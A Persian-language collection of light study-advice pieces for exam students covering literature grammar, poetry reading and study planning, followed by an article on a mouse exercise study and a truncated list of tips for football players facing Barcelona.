آخرین خبرها

از هر دری سخنی…

دست کم نگیر

خدا را یافتم در مخزن یاد             جهان جان  و دل زو گشت آباد

به شدت ادیب شده بودم. اصلا به نظر من ادیب شدن فقط این نیست که شعر بگویی یا قطعه ی ادبی بنویسی . فقط این نیست که در ادبیات پژوهشگر باشی یا دیوان یک شاعر را تصحیح کنی و توضیح دهی.برای ادیب شدن کافی است مثل من بشوی. می پرسی چه طور؟

همین طو  که بنده وقتی در تاکسی نشسته ام  و راننده محترم رادیو را روشن می کند و گوینده ، غزلی را می خواند ، تند تند در ذهنم آرایه های ادبی هر بیت را پیدا می کنم و تقش دستوری کلماتش را تعیین می کنم.

بعضی وقتها که گوینده یک بیت یا یک مصرع را که از آن خوشش آمده ؛ دوسه با  تکرار می کند ؛ وقت دارم که روی قرابت معنایی بیت یا مصراع یا اشعاری که قبلا خونده ام با غزل مورد نظر فکر کنم ؛ بنابراین عقیده دارم که بنده یک ادیبم . حالا اگر از آن ادیب ها که قرار است چهره ماندگار بشوند ، نباشم ، آن نیمچه ادیبی که برای کنکور لازم باشم ، هستم. مقصودم از این مقدمه چینی این بود که بگویم همیشه ی  ادیب باید از کلام بزرگان شعر ، پند بگیرد. بنده بیتی از  ” خاقانی ” خوانده ام که در یادگیری بسیار موثر بود. می فرماید:

کهتری را مهتری یابد                هم بدان چشم مهتری منگر

یعنی اگر یک فرودستی مقام عالی پیدا کرد و بزرگ شد، دیگر با همان چشم کوچکی به او نگاه نکن یا دیگر او را کوچک مپندار بلکه بدان که او دیگر مهم شده است. این باعث شد یاد بگیرم حروفی مثل ” را ” ی نشانه ی مفعول ، حروف اضافه ( از ، با ، به ، در ، بر و ….) هرچند ظاهرا کم و کوچک و به اطلاح خاقانی کهتر هستند ، وقتی در جمله قرار می گیرند ، امور مهمی مثل نقش مفعول یک واژه یا متمم کردن کلمه را بر عهده دارند ؛ پس نباید به چشم کهتری به آنها بنگریم ، بلکه آنها حالا هم مهتر شده اند و باید در شمارش تکواژ و واژه هر دو به حساب آوریم.

پس درود به روح ” خاقانی شروانی ” که در ادامه فرمود :

خردشاخی که شد درخت بزرگ                  در بزرگیش سرسری منگر

مدیریت خیال

هرکه را نیست یاد خدا در حریم او       سرگشته تر زکشتی بی ناخدا بود

نه اینکه بچه ی درس خوانی نباشد ، نه …؛ درس خوان و پر تلاش بود ولی اختیار فکر و خیالش دست خودش نبود. می گفت  : ” تمام عزمم را جزم می کنم طبق برنامه ریزی ، سر ساعت می نشینم سر درس و مشقم ؛ اما مثلا می بینم یک مورچه روی کتابم تند و تند از این طرف به آن طرف می رود. با یک فوت ، مورچه را به بیرون از کتابم پرتاب می کنم و خودم پرتاب می شوم به زمانی که بچه ای سه چهار ساله بودم . روزی مورچه ای انگشت کوچک پایم را گاز گرفت که خیلی سوخت و من خیلی ترسیدم. بعد یادم می افتد پارسال که رفته بودیم مسافرت ، هنگام گشت و گذار در جنگل ، زنبوری شصت دستم را نیش زد و شصتم به اندازه ی یک بادنجان باد کرد و بعد سیاه شد. یک دفعه خاطره ی تفریح و بازی در جنگل یادم می آید که پشه ها صورت مرا میدان زورآزمایی دیده بودند و تا توانسته بودند لپ هایم را نیش زده بودند. خلاصه هی خاطره در خاطره و وقتی به خودم می آیم می بینم یک ساعت از وقتم گذشته و من فقط خاطره بازی کرده ام. “

بعد از درد و دل دوستم ، من که در آموزش افزایش قدرت تمرکز ، مطالعات وسیعی دارم ، چند راهکار به او دادم و رفتم که دو ساعت بعد برگردم و نتیجه ی کار را ببینم.

بعد از دو ساعت وارد اتاق شدم . آرام در زدم و گفتم : ” چه خبر ؟ ”

در حالی که ابروهایش به هم گره خورده بود ، سرش را از توی کتاب بلند کرد و با چشم های سرخ و بیرون زده گفت : ” ی ی ی ی ….”

از تعجب داشتم شاخ در می آوردم ؛ بعد از این همه فداکاری و دلسوزی ، رفیقم به من دهن کجی می کند.

با دلخوری گفتم  : ” چرا ؟!….” اشاره به کتابش کرد و گفت :” ی ی ی ی…” رفتم به سمت در که پرید و دستم را گرفت و گفت : ” بابا کجا می روی ؟ حرف نزدم تا تمرکز را از دست ندهم و وقتم تلف نشود . منظورم این بود که دارم انواع  ” ی ” را می خوانم ؛ چون ما در ادبیات  ” ی ” نداریم بلکه ” ی ی ی ی…” داریم یعنی چند تا ” ی . ”

خنده ام گرفت و خواستم که بیشتر توضیح دهد. گفت : ” در مطالعاتم به این بیت از وحشی بافقی برخوردم  :

به سوزی ده کلامم را روایی             کزان گرمی کند آتش گدایی

که باعث شد به انواع  ” ی ” توجه کنم و ببینم که  ” ی ” در زبان فارسی چندین کاربرد دارد :

– ی نکره که مفهوم یک یا یکی دارد ؛ مثل : سوزی (یک سوز )

– ی مصدری که مفهوم مصدری دارد ، مثل : روایی ( روا بودن ) ، گرمی ( گرم بودن ) ، گدایی ( گدایی کردن )

و……

دوستم مدیریت خیالش را به دست گرفته بود و توانسته بود نکته ای بیاموزد . از این موضوع خوشحال شدم و دلخوری ام را فراموش کردم.

تن خور 

به نام خدایی که با تیره خاک                  برآمیخت این جوهر جان پاک

ابتدای سال تحصیلی بود. هنوز در هفته های کار بودم و تا آن زمان سه برنامه ی مطالعاتی عوض کرده بودم. اولی برنامه ی پسرخاله ام بود که رتبه ی دو رقمی را در سال گذشته به دست آورده بود. او هر روز چهار ساعت ادبیات می خوانده و هر بار که می خواسته تاریخ ادبیات و لغت بخواند ، از اول کتاب شروع می کرده است. برنامه ی توپی به نظر می رسید. یکی دو روز روی این برنامه پافشاری کردم ؛ ولی بعد دیدم پس از مطالعه ی ۴ ساعته ی ادبیات ، حوصله ی خواندن  هیچ درس دیگری را ندارم.

با خود گفتم حالا اول کار است. برنامه ام را عوض می کنم و تصمیم گرفتم روش نوه ی عمه ی مادرم را پیش بگیرم که مطالعه ی ادبیات را گذاشته بود برای اواخر اسفند. راستش را بخواهید دو سه آزمون که دادم و درصد ادبیاتم ، صفر شد ، ترس برم داشت که نکند آن موقع هم نتوانم ادبیات را بخوانم و همه ی مباحث را تمام کنم و این صفر ، نتیجه ی کنکورم بشود. آخر من که مثل نوه عمه ی مادرم برگزیده ی المپیاد ادبی نبودم. این شد که برنامه ام را تغییر دادم و از شیوه ی مطالعه ی دختر عموی بزرگ مادرم که ۴۰ سال پیش کنکور داده و نفر سوم شده ، خیلی خوشم آمد. او از غروب تا نیمه شب ادبیات می خوانده و از نیمه شب تا صبح تست می زده و صبح تا شب می خوابیده است.

بعد از چند شب که این برنامه را اجرا کردم ، نمی دانم چه طور شد که کارم به دکتر و بیمارستان و سرم و دوا و درمان کشید و مادرم موکدا ارتباط با دختر عمویش را برای من قدغن کرد.

فردای آن روز که رفیق شفیقم برای ملاقات به منزلمان آمده بود و من ماجرا را برایش شرح دادم و گفتم که تصمیم دارم از برنامه ی برادر کوچک تر همسایه ی دست راست محله ی قبلی مان استفاده کنم ، دو تا از دوستانش را با خود آورده بود.

اولی – چشمم کف پایش – بالای صد کیلو وزن داشت و پیراهن زیبایی بر تن کرده بود. دومی هم که هم سن و سال خودم بود ، به جرات می توانم بگویم وزنش به چهل کیلو گرم هم نمی رسید. هیکلش را تصور کنید که عرضش به قاعده ی یک مداد باشد و طولش ۱۸۰ سانتی متر ! او هم لباس جالبی پوشیده بود . اول فکر کردم دوستم این دو نفر را آورده تا آرایه ی تضاد را به من یاد دهد . وقتی کنجاوی مرا دید ، گفت : ” این ها را آورده ام که درباره ی لباسشان اظهار نظر کنی .” گفتم :”  خیلی شیک پوش هستند. ” گفت :” می خواهی لباسشان را بپوشی و برتن خودت امتحان کنی ، ببینی به تو می آید یا نه ؟”

خنده ام گرفت. گفتم :” اگر لباس اولی را بپوشم که در آن گم شوم ؛ دومی هم که اصلا حرفش را نزن . یک دست من هم در آن جا نمی گیرد .”

گفت :” این لباس ها مورد پسند توست ولی تن خور تو نیست . برنامه ی مطالعاتی دیگران هم همین است. شاید به نظر افسونگر و زیبا باشد ، ولی مناسب تو نیست . تو باید با در نظر گرفتن توان و شرایط خودت برای مطالعه ی لغت ، تاریخ ادبیات ، املا و دیگر مباحث ادبیات برنامه ریزی کنی. “

گفتم :” پس چرا این همه با آدم های موفق مصاحبه می کنند و آنها را به ما نشان می دهند و می گویند از این ها یاد بگیرند؟ هان ؟….چرا ؟….”

گفت : ” بله ، شنیدن تجربیات دیگران بسیار مفید است و افراد موفق هم می توانند الگوی ما باشند ولی باید تشخیص دهیم که کدام روش برای ما بهتر است و جواب می دهد. ”

در تمام عمرم این قدر قانع نشده بودم. برگه ای برداشتم و تصمیم گرفتم یک برنامه عملی و واقعی برای خودم طراحی کنم.

کشف بهترین نوع ورزش برای مغز

امروزه همه می دانند که تمرینات ورزشی ساختار و عملکرد مغز را تغییر می دهند.مطالعاتی که که بر روی حیوانات و انسان ها صورت گرفته نشان می دهند و می توانند حفره هایی را که به دلیل بالا رفتن سن در ماده ی سفید و خاکستری مغز ایجاد می شود ، کاهش دهند ؛ اما این که بهترین نوع ورزش برای مغز چیست ، سوال است که پاسخش را در این مقاله می خوانید.

با توجه به مطالعه  ی جدید بر روی موش ها، به نظر می رسد بعضی از ورزش ها نسبت به بقیه برای تقویت مغز مفیدتر باشند. برای اولین بار، دانشمندان تاثیرات عصبی انواع مختلف ورزش ها را بروی مغز با هم مقایسه کردند : دویدن ، تمرین با وزنه و تمرینات وقفه دار با شدت بالا . نتایج جالب توجه بودند و نشان می دادند شاید تمرینات سخت برای سلامت طولانی مدت مغز گزینه ی مناسبی نباشند. ورزش کردن ، نورون زایی یا ایجاد سلول های مغزی جدید را هم در مغز بالغ افزایش می دهد. مطالعاتی که بر  روی حیوانات صورت گرفته ، نشان می دهد تعداد نورون های جدیدی که بعد از ورزش هایی مثل  دویدن بر روی چرخ متحرک یا تردمیل ، در«هیپوکامپ» (ناحیه ای کلیدی در مغز که به یادگیری و حافظه مربوط می شود) پدیدار می شوند ، دو یا حتی سه برایر تعداد نورون هایی که در هیپوکامپ حیواناتی که نشسته اند ، مشاهده می شوند . دانشمندان معتقدند که ورزش کردن تاثیرات مشابهی بر هیپوکامپ انسان نیز دارد.

دویدن در مسافت های طولانی تاثیرات بسزایی بر مغز دارد

 مطاعاتی که در رابطه با ورزش و نورون زایی انجام شده بودند بر دویدن در مسافت های زیاد تمرکز داشتند . موش های آزمایشگاهی دویدن را خوب بلدند ، اما این که آیا دیگر انواع ورزش ها هم به همین شکل در تولید عصب ها و سلول های جدید در مغز تاثیر می گذارند، هم چنان ناشناخته بودند و با توجه به محبوبیت ورزش هایی مانند تمرین با وزنه و تمرینات وقفه دار با شدت بالا ، این موضوع این روزها توجه خیلی از دانشمندان را به خود جلب کرده است.

در مطالعه جدیدی که در مجله تخصصی فیزیوتراپی به چاپ رسید، محققان گروه بزرگی از موش های بالغ نر را مورد مطالعه قرار دادند. محققان ماده ای به موش ها ترزیق کردند که سلول های مغزی را نشانه گذاری می کرد و گروه هایی از آنها را به انجام ورزش های مختلف واداشتند ، در حالی که یکی از آن گروه ها را ساکن و نشسته نگه داشتند. در قفس تعدادی از این موش ها ، دستگاهی مانند تردمیل قرار دارند تا هر زمان که خواستند روی آن بدوند . بیشتر آنها هر روز مسافتی که موش ها می دوند ، البته مسافتی که موش ها می دویدند با هم متفاوت داشت. بعضی از موش ها هم تمرین های مقاوتی را شروع کردند، یعنی با وزنه های کوچکی که به دمشان بسته شده بود از دیوار ها بالا می رفتند. دیگر موش ها نیز تمریناتی را که شبیه تمرینات وقفه دار با شدت بالا بود، انجام دادند. این دسته موش ها روی تردمیل های کوچک قرار داده شدند و برای سه دقیقه با سرعت زیاد می دویدند ، سپس دو دقیقه به صورت آرام بر روی دستگاه راه می رفتند و بعد کل این مراحل دوبار تکرار می شد تا در نهایت به ۱۵ دقیقه دویدن می رسید.

این روند هفت هفته ادامه داشت و بعد از آن دانشمندان بافت های هیپوکامپ در تمام این حیوانات را با دقت بررسی کردند. آنها به نسبت ورزشی که هر کدام از این حیوانات انجام می دادند ، سطوح مختلفی از نورون زایی را مشاهده کردند.

موش هایی که بر روی تردمیل به آرامی دویده بودند ، میزان زیادی از نورون های جدید در مغزشان تشکیل شده بود. در این موش ها بافت های هیپوکامپ با نورون های جدید پر شده بودند و تعدا نورون ها در مقایسه با مغز حیواناتی که نشسته بودند بسیار بیشتر بود. هرچه مسافتی که موش ها در طول آزمایش دویده بودند بیشتر بود ، سلول های جدید بیشتری در مغزشان به وجود آمده بود.

تعداد نورون های به وجود آمده در مغز حیواناتی که تمرینات وقفه دار با شدت بالا انجام داده بودند.البته اعدادشان نسبت به حیوانات نشسته بیشتر بود ولی در مقایسه با حیوانات دونده کمتر بود.

موش هایی که تمرینات با وزنه انجام داده بودند با اینکه در انتهای دوره ی آزمایشی قوی تر شده بودند ، ولی تغییر زیادی در شکل گیری نورون های جدید در مغز آنها دیده نشده بود و بافت هیپوکامپ آنها دقیقا مشابه حیواناتی بود که اصلا ورزش نکرده بودند. 

تمرین با وزنه با اندازه ی دویدن بر نورون زایی در مغز تاثیر ندارد 

البته مسلم است که موش ها با انسان ها تفاوت دارند ؛ امایافته های این مطالعه اغوا کننده است . مدیر این تحقیق را بر عهده داشت می گوید :” این مطالعات نشان می دهد تمرینات ایروبیک می تواند برای مغز انسان در مقایسه با بقیه ی تمرینات مفیدتر باشد”.

هنوز دلیل اینکه چرا دویدن در مسافت های طولانی در تولید عصب های جدید در مغز از دیگر ورزش ها موثرتر است به وضوح نمایش مشخص نشده است ، اما این محققان حدس می زنند که دویدن باعث آزاد شدن ماده خاصی در مغز می شود که به ” فاکتور نورون زایی مشتق شده از مغز ” معروف است که می تواند باعث زایش نورون های جدید شود و هرچه مسافتی که دویده شود بیشتر باشد ؛ تعداد نورون های تولید شده بیشتر خواهد بود.

از طرف دیگر ، با این که تمرین با وزنه برای سلامت عضلانی مغز بسیار مفید است ، اما یافته های این مطالعه نشان می دهد تاثیر خیلی کمی در سطح نورون زایی در مغز دارد.

در حالیکه فواید تمرینات وقفه دار با شدت بالاتحت شعاع شدت این تمرینات قرار دارد ، این تحقیقات می گوید :”این نوع تمرینات سطح استرس را بالا می برند و استرس میزان نورون زایی در هیپوکامپ مغز بالغ را کاهش می دهد.

” البته این نتایج بدین معنی نیستند که فقط دویدن و تمرینات ورزشی مقاوتی شبیه به آن ، مغز را تقویت می کنند. به نظر می رسد این نوع فعالیت ها باعث بیش ترین حد نورون زایی در هیپوکامپ می شوند ؛ اما احتمالا تمرین با وزنه و تمرینات وقفه دار ، تغییرات دیگری در مغز به وجود می آورند . احتمالا این نوع ورزش ها در تولید رگ های خونی جدید و تشکیل ارتباطات جدید بین سلول های مغزی یا بین قسمت های مختلف مغز ، موثر هستند.

پس اگر در حال حاضر با وزنه تمرین می کنید یا فقط تمرینات وقفه دار با شدت بالا انجام می دهید ، به این کار ادامه دهید ولی بعد نیست هرازگاهی برای سلامت هیپوکامپ تان هم شده ، دویدن یا دوچرخه سواری  را نیز امتحان کنید.

فوت و فن شعر 

” دلا بیا که زیر خدا پردازیم                  کنیم سر خود را زغیر پالوده ”

شروع کردم زیر لب نق زدن و غرغر کردن که : ” ای بابا…. این چه وضعی است ؟….یعنی چه ؟…..این طوری که حتی یک تست هم نمی توانم بزنم….”

هرچه دست در مو بردم و سرم را میخاراندم ، نمی فهمم شاعر محترم – که خدا نور به قبرش ببارد – می خواسته چه بگوید که این همه لقمه را دور سرش چرخانده است.

پدربزرگم که از آن قدیمی های استخوان خرد کرده و نکته دان است ، نزدیک من نشسته بود و با یک قتد شکن که تاریخ ساختش دست کم ، نیم قرن قبل از تولد من بود ، قند می شکست و زیر لب به قول خودش در دستگاه شور آواز می خواند.

وقتی غرولند مرا شنید ، دست از کار کشید و لب از آواز فروبست و دقیق شد روی صورتم و از بالای عینک زل زد به من و گفت : ” بلند بخوان باباجان ، ببینم حرف حسابش چیست؟”

خودم را که روی دفتر و کتاب ولو کرده بودم ، جمع و جور کردم و با یک نک و ناله خواندم :

”  گفت بر ، ترشو از بر ، خورشید            که رطب خیره ، بارنا، رد بید ”

پدربزرگم دستهایش را از گرد قند پاک کرد و گفت  :” باباجان ، این که دیلماج نمی خواهد. شاعر شیرین سخن که سنایی باشد، فارسی حرف زده ولی شما داری کلمات را به هم می پیچی….عزیزم بد می خوانی….

بعد صدایش را صاف کرد و با یک نغمه ی خوش شش دانگ که بعدا فهمیدم در دستگاه ماهور بوده ، شعر را خواند و بعد هم دکلمه کرد که :

” گفت : برتر شو از بر خورشید             که رطب خیره بار نارد بید ”

بعد از این هنرنمایی مفصل و پرشور و حال ، بلند و کش دار ، جملات بیت را به نثر فارسی روان برگرداند  :

” گفت : از مقابل خورشید کنار برو و مانع آسایش من نشو که درخت بید هرگز خرما نمی دهد. ”  انگار یک سطل آب جوش را کم کم روی صورت من می ریختند ؛ هی داغ می شدم ، هی سرد می شدم ،. پدربزرگم راست می گفت. به جای اینکه سواد خواندن را در خودم تقویت کنم و شعر را درست بخوانم  ، هی تقصیرها را به گردن شاعر انداختم که چرا نامفهوم سروده است . این شد که تصمیم گرفتم با کمک پدربزرگ هنرمندم هرشب روی درست خوانی اشعار کار کنم تا بتوانم به تست های قرابت معنایی پاسخ دهم  ؛ چون به قول ایشان روخوانی شعر ، فوت و فن دارد. 

 

 

دقایق سرنوشت ساز

گفت : ” ببین من حساب کردم ، دیدم ادبیات کلا ۷۰ درس دارد که البته چه هفتادی ، بگو هفتصد درس!چون هردرسی در بطن خودش چند لایه مهم و عمیق دارد.این هفتاد درس مجموعا چند صد لغت دارد و هر لغت – قربانش بروم – سه چهار معنی. ده ها شخص و معروف بنام دارد که هر کدام – چشمم کف پای شان – صاحب چند اثرند که بنده باید همه را حفظ کنم  ، نظم یا نثر بودنشان را بدانم و از موضوعاتشان مطلع باشم. ده ها اثر داریم که باید نام صاحبانشان را بشناسم.هزار و یک جور اتفاق در تاریخ ادبیات این کشور رخ داده که باید یاد بگیرم.املای صدها لغت را باید بلد باشم.تازه لغاتی که بعضی هاشان چند رو دارند ؛ یعنی یک جور تلفظشان می کنی ولی به چند شکل می نویسی . اینها به کنار ، باید بتوانی هر شعر را بخوانی  و رابطه اش را با اشعار متناسبش پیدا کنی. غیر از این باید بتوانی آرایه هایش را در طرفه العینی تشخیص دهی. همه ی اینها را که یاد گرفتی و فوت و فنش را دریافتی ، تازه می رسی به مبحث بی نظیر و منحصر به فرد زبان فارسی که برای خودش هفت خوان رستم دارد. همه ی اینها را که رد کردی ، تازه می رسی به تونل وحشت تست زدن.”

بعد از این سخنرانی پرشور باز سرش را کرد توی کاغذ و قلمش و در حالی که زیر چشمی مرا می پایید زیر لب زمزمه کرد :” خوب ! حالا این همه مرامت و تمرین و خواندن و تست زدن فقط برای ۱۸ دقیقه و ۲۵ سوال؟ من از شما می پرسم ، فقط برای ۱۸ دقیقه و ۲۵ سوال؟آخر انصاف است؟”

یک لیوان آب خنک دستش دادم که بدون تعارف ، لاجرعه سرکشید و بعد هم نفسی عمیق کشید و منتظر شد که من از پاسخ دادن عاجز شوم و بگویم که خوب پس ارزش ندارد که ادبیات فارسی را بخوانی. این کارها را از طرز نگاهش فهمیدم.

لبخند زدم و گفتم :” از جهان پهلوانی پرسیدم که در وزنه برداری مرد شماره ی یک در تمام دنیا بود شنیدم که می گفت در طول تمریناتش بیش از ۳۰ تن وزنه بلند می کرده و روزها و ماه ها تلاش می کرده و هر بار چند صد کیلو وزنه بالای سر می برده تا در یک مسابقه ی جهانی در مقابل چشم مردم دنیا و داوران فقط ۲ دقیقه بتواند وزنه بزند. او انگیزه پیروزی داشت . به کوتاهی ۲ دقیقه و سختی کارش فکر نمی کرد ، بلکه به هدفش نگاه می کرد.”

به فکر فرو رفت و به من خیره شد.ادامه دادم : ” پس بجاست که برای ۱۸ دقیقه ی مهم و ۲۵ سوال سرنوشت ساز ، برنامه ریزی کنیم . تلاش کنیم ، بخوانیم ، حفظ کنیم ، تمرین کنیم و تست بزنیم که همه ی اینها به شیرینی آن پیروزی عزیز و به عزت دانایی می ارزد.

 

 

تبدیل ضعف به قدرت

افتتاح نامه ها از نام او                 هر دو عالم جرعه نوش جام او

گفتم  :” بالا بروی ، پایین بیایی ، من اهلش نیستم . اصلا نمی توانم بخوانم.” گفت :”لازم نیست : نه فقط برای کنکور ، در آینده برای برقراری ارتباط باید فوت و فنش را بدانی.”

خلاصه هرچه اصرار می کرد توی کت من نمی رفت که نمی رفت. نمره ام در آزمون ها پایین بود ؛چون یا این سوالات را پاسخ نمی دادم یا غلط می زدم.

حتما بگویید : ” نویسنده ی متن ! یک جوری حرف بزن که ما هم متوجه شویم موضوع چیست. چه چیز را نمی زدی یا غلط می زدی ؟”

جانم برای تان بگوید که مشکل اصلی من درس زبان فارسی بود. هرچه خودم را راضی می کردم ، برنامه ریزی می کردم ، وقت تعیین می کردم که بنشینم و جدی جدی این درس را بخوانم ، نمی شد که نمی شد. روزی همین دوستم که همیشه در بحران ها دستم را می گیرد ، به من گفت : ” می خواهی چه کاره شوی ؟” گفتم :” بنده این تصمیم را از بچگی گرفته ام . بچه که بودم تصمیم گرفتم دکتر شوم .بعدها که بزرگتر شدم یاد گرفتم که دکتر بشوم ، خوب است ولی کافی نیست و حتما باید تخصص هم داشته باشم.پس جراحی عمومی را به عنوان تخصص خود انتخاب کردم.”

گفت :” فکر کن همین حالا جراح شده ای و بیمارانی را برای جراحی پیش تو آورده اند. آیا می توانی بگویی فلانی را عمل کرده ام چون از او خوشم می آید ، فلانی را عمل نمی کنم چون مثلا خیلی لاغر است یا کاری به فلان بیمار ندارم چون اضافه وزن دارد ؟”

گفتم :” نه پزشک فردی متعهد است . باید در حق هر بیماری به غایت دلسوز و مسئولیت پذیر باشد و فکر و ذکرش درمان باشد.”

گفت :”عزیزم! ضعف تو در هر درس یا مبحث  ، حکم یک بیمار را دارد و تو تنها پزشکی هستی که می توانی آن ضعف را به قدرت تبدیل کنی و هیچ درمانگر دیگری توان این کار را ندارد.”

واقعا حرفش تکان دهنده بود. انگار بیدار شدم. با خودم فکر کردم ضعف هایم را در زبان فارسی تشخیص دهم و راه برطرف کردن آنها را پیدا می کنم ؛ چون من تنها پزشکی هستم که این کار از دستم بر می آید

 اولین موضوعی را که ضعیف یافتم و سعی کردم روی آن کار کنم تا به قدرت تبدیلش کنم مبحث :” تغییر معنا در افعال ” بود . شما هم حاصل مطالعاتم را بخوانید :

گاه افعال یک معنای مستقیم دارند ؛ مثلا مصدر ” گرفتن ” به معنای ” اخذ کردن ” به کار رفته است :

دستم بگرفت و پا به پا برد               تا شیوه ی راه رفتن آموخت

اما گاهی افعال با توجه به کاربردشان در جمله ، معانی مختلفی می گیرند . 

میانه روی

ای خدا از فضل تو حاجت روا                   باتو یاد هیچکس نبود روا

برای یک هفته برنامه ریزی کردیم.ادبیات را به مباحث لغت، تاریخ ادبیات ، آرایه ی ادبی، املا ، زبان فارسی و قرابت معنایی تقسیم کردیم و قرار شد طبق برنامه ، درس به درس جلو برویم.

پس از هفت روز رفتم سراغش. وارد اتاق که شدم ، صدایش را می شنیدم ولی تصویرش را نمی دیدم ! تنها انبوهی از کتاب پیدا بود که روی میز چیده شده بود. اول خوشحال شدم و تحسینش کردم ؛ دیدم انگار به برنامه متعهد بوده و کارهایش را به موقع انجام داده است ؛ اما جلوتر که رفتم ، به تردید افتادم. بلاخره از میان کتاب های رنگارنگ که بعضی قطرهای نازک داشتند و بعضی ضخیم و ستبر بودند ، سر بیرون آورد و لبخندی پیروزمندانه تحویلم داد.

پرسیدم: “چه خبر؟ می بینم که در ادبیات غرق شده ای !” بعد هم کتاب ها ورانداز کردم که همه ادبیاتی بودند.

گفت :” واقعا هفته پرکاری داشتم تا این که تقریبا همه راخریدم.” تازه دستگیرم شد که چه کرده است.

ادامه داد:” نمیدانی چه خبر است بازار کتاب !این مولفان کتاب ماشا…دارند به خدا.هرچه می خری تمام نمی شود.” گفتم :” خوب در این یک هفته چه خوانده ای؟” گفت:” خواندن چیست؟بگو چه خریده ای؟”

بعد هم شروع کرد به زیر و رو کردن کتاب ها و یکی یکی آنها را جلو چشم من می گرفت و درباره شان توضیح می داد :” این تمام لغات دشوار را معنی کرده است. این یکی همه لغت ها را دسته بندی کرده و رنگی رنگی کرده است. ببین چقدر قشنگ است! این یکی لغت ها را درس به درس آورده ولی آن یکی فقط الفبایی تقسیم کرده است. وای این تاریخ ادبیات را ببین چه نقاشی های زیبایی دارد ؛ ولی این یکی قطورتر است و تست هم دارد.این تاریخ ادبیات جلد خیلی جذابی دارد؛نمی شد نخرمش.تازه این یکی روشی خیلی جدید و عجیب برای آموزش دارد.”

من با چشم های گرد و دهان باز ،هاج و واج او را نگاه می کردم.خنده بلندی سر داد و گفت :” تو هم تعجب کرده ای؟ حالا این زبان فارسی ها را نگاه کن.این یکی همه چیز را درس داده.آن یکی عجب ترکیب و اندازه مناسبی دارد؛ سنگین هم نیست .این یکی پاسخ نامه ی تشریحی هم دارد . ولی آرایه های ادبی تمامی نداشت .هر ناشری به چندین شکل و صورت آرایه ادبی منتشر کرده است.”

احساس کردم سرگیجه گرفتم. نشستم و دستم را روی پیشانی ام گذاشتم. گفت :”حالت خوب نیست؟” گفتم : ” بگو چقدر خوانده ای؟” من من کنان گفت :” هنوز شروع نکرده ام….از….روی این…این ها می خوانم و ادیب می شوم.

“گفتم :” تو تنها نیستی.”تعجب کرد و ساکت شد.ادامه دادم : “خیلی از دانش آموزان مثل تو هستند که ساعت ها وقتشان را صرف می کنند برای خریدن کتاب.آنها دنبال منبعی می گردند که بتواند به راحت ترین شکل و کوتاه ترین زمان آنها را ادیب کند، درحالی که باید بدانند این کتاب در هیچ کجای دنیا برای هیچ درسی وجود ندارد. برای مطالعه ، کتاب درسی مهم ترین منبع است و در کنار آن انتخاب یکی دو کتاب کمک درسی هم مفید است . بهتر است به جای این همه کتاب که می خریدیم و نمی خوانیم یکی دو منبع را که برای ما بهتر است برگزینیم و آن ها را خوب و دقیق بخوانیم.”

بیشتر که توضیح دادم ، انگار قانع شد که افراط و زیاده روی کار درستی نیست .با یک حساب سرانگشتی می شد فهمید که خواندن مو به موی این همه کتاب ممکن نیست.دستی به سرش کشید و گفت:”بله گذشتگان ما بیهوده نگفته اند که یک ده آباد بهتر از صد شهر ویران است.”

از این که او را منطق پذیر و واقع بین دیدم ، خوشم آمد و تشویقش کردم که برای هفته ای که بدون مطالعه گذشته است تلاش کند و شادمانه و امیدوار درس بخواند.

۱۰ توصیه برای غلبه بر بارسلونا

یک روان پزشک سرشناس ایتالیایی قبل از بازی فینال لیگ قهرمانان اروپا بین یکی از تیم های اروپایی و بارسلونا ، ۱۰ توصیه و راهکار جدی برای بازیکنان این تیم تجویز کرده بود تا از مواجهه با تیم بارسلونا ، و بازیکنان خطرناکش نترسند. جای هیچ شکی نیست که بسیاری از تیم های حتی قدرتمند حال نیز پیش از ورود به زمین و مواجهه با بارسلونا ، از لحاظ ذهنی خود را پیش بازنده می دانند. به عقیده این روان پزشک ، بازیکنان تیم حریف به جای اینکه پیروزی در فینال را وظیفه خود بدانند ، بهتر است به این فکر کنند که توانایی لازم بر غلبه بر بارسلونا را دارند. شانس بالاتر بارسلونا هم فاکتور مثبتی برای تیم مقابل ارزیابی شده است.حال خواندن این ۱۰ توصیه خالی از لطف نیست .

۱٫ آن بازیکنی که هرگز اشتباه نمی کند لزوما قدرتمندتر نیست. لغزش و خطا در یک بازیکن نمی تواند هرگز ظرفیت ها و کیفیت یک بازیکن را زیر سوال ببرد.به طور مثال در یک بازی ممکن است مسی چند لایی به یکی از بازیکنان بزند اما این بازیکن به جای باختن روحیه خود باید با خیال راحت برگشته و روی پای مسی تکل بزند.خطا کردن بهتر از بالابردن دست ها در این صحنه است.

۲. وارد شدن به زمین با اطمینان خاطر : بازیکنان تیم حریف بدون اینکه به این فکر کنند در بازی چه اتفاقی خواهد افتاد باید وارد زمین شوند .همه می گویند بارسا برنده است ؟ اصلا مهم نیست . شرط بندی ، حتی در ذهن هم برای بازیکنان شرایطی ممنوع است.

۳٫ پرهیز از انجام روش های خارج از برنامه : برای استراحت بدنی و ذهنی به جای روی آوردن روش های ابداعی ، بهتر است با روش های علمی و نیز تجربی که قبلا ثابت شده است اتکا کرد.

۴٫ دور کردن خشم در بهترین زمان ممکن به جای نگرانی: به بازیکنان حریف باید هیجان مثبت که از لحاظ بدنی و ذهنی برای حضور در چنین نبرد سرنوشت سازی به نفعشان خواهد بود ، تزریق شود. پیروزی بر بارسلونا نباید هرگز به عنوان یک وظیفه تعبیر شود. کافی است بازیکنان به توانایی های خود برای شکست این تیم ایمان داشته باشند.

۵٫ هر بازیکنی نیاز به تمرکز و خلسه ی ذهنی دارد بسیار مهم است که ساعتی قبل از بازی ، هریک از بازیکنان به پناهگاه ذهنی خود رفته و به روش خود به تمرکز بپردازند.

۶٫ خیال پردازی در مورد بازی اشتباه محض است. برخی مواقع فکر کردن زیاد و خیال پردازی در مورد بازی می تواند تاوان سنگینی داشته باشد. در روانشناسی توصیه می شود که یک بازیکن فوتبال ، هرگز به این که ممکن است در دقیقه ۹۱ درواره حریف را باز کند فکر نکند ؛ چون ممکن است دقیقه ۲۵ بازی ، دروازه ی خالی را به بیرون بزند.

۷٫ شانس در خانه شجاعان را می زند . بازیکنان حریف اگر به دنبال شانس برای پیروزی بر بارسلونا هستند ، بهتر است شجاعانه ، با سری بالا و با جسارت مقابل بارسلونا قرار بگیرند.این گونه ممکن است شانس در خانه آنها را هم بزند.

۸٫ انتخاب یک رهبر مناسب درون زمین ؛ مربی برای این بازی باید بهترین قابلیت های هر بازیکن را استخراج کرده و نیز مشخص کند که درون زمین چه بازیکنی لیدر و رهبر خواهد بود.

